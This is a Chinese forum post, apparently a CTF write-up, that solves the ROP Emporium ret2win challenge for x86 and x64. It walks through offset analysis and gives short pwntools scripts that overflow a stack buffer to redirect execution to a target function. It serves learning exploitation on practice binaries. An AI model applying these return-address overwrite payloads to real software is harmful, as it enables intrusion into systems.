首页
论坛
课程
招聘
[原创]ROP Emporium(一) ret2win
2021-1-6 10:27 3450

[原创]ROP Emporium(一) ret2win

2021-1-6 10:27
3450

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

 

简单说一下,ROP Emporium 是通过一系列ROP(Return-oriented programming)相关的题目挑战来学习ROP,同时尽量减少反向工程或错误查找。

 

该项目同时提供了Beginners' Guide : https://ropemporium.com/guide.html

 

该项目共提供了七道题,难度跨度从ret2text到ret2csu。每一道题提供了四种架构包括x86、x64、arm和mips,我将会记录x86和x64解题过程。

x86

1.检查保护

 

未开启栈溢出保护

2.分析

func main:

调用了pwnme()

 

func pwnme:

  1. memset为s开辟了0x20字节的空间,read向s中写入了0x38字节的数据,很明显溢出了。
  2. 根据s对于ebp的偏移为 ebp-28h ,则s对于ret addr的偏移为 0x28 + 4(ebp的长度)

继续看,看到func ret2win:

 

基本思路明确,利用栈溢出覆盖返回地址,将返回地址修改成ret2win的地址就可以

 

3.构造EXP

1
2
3
4
5
6
7
8
9
from pwn import *
 
p = process("./ret2win32")
 
payload = "\x00" * 0x28 + p32(0xdeadbeef) + p32(0x804862C)
 
p.sendline(payload)
 
p.interactive()

x64

1.check

1
2
3
4
5
6
7
checksec ./ret2win                  
[*] '/mnt/hgfs/CTF/pwn/rop_emporium_all_challenges /ret2win/ret2win'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.分析

结构和32位的一样,payload需要重新设定偏移,并且将p32改成p64

 

-w827

 

-w850

 

payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)

exp

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*-
from pwn import *
 
 
p = process('./ret2win')
 
payload = "\x00" * 0x20 + p64(0xdeadbeef) + p64(0x400756)
 
p.sendline(payload)
p.interactive()

-w729


[公告]春风十里不如你,看雪团队诚邀你的加入!

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 190
活跃值: 活跃值 (125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
firmianay 活跃值 2021-1-6 10:32
2
1
可以参考 https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.4_rop_x86.md
雪    币: 233
活跃值: 活跃值 (125)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tfire 活跃值 2021-1-10 21:23
3
0
firmianay 可以参考 https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.4_rop_x86.md
学长(俺也是xdu的),现在的题目好像更新了,虽然思路没变,但是有的ROPgadget好像找不到啊。。。
游客
登录 | 注册 方可回帖
返回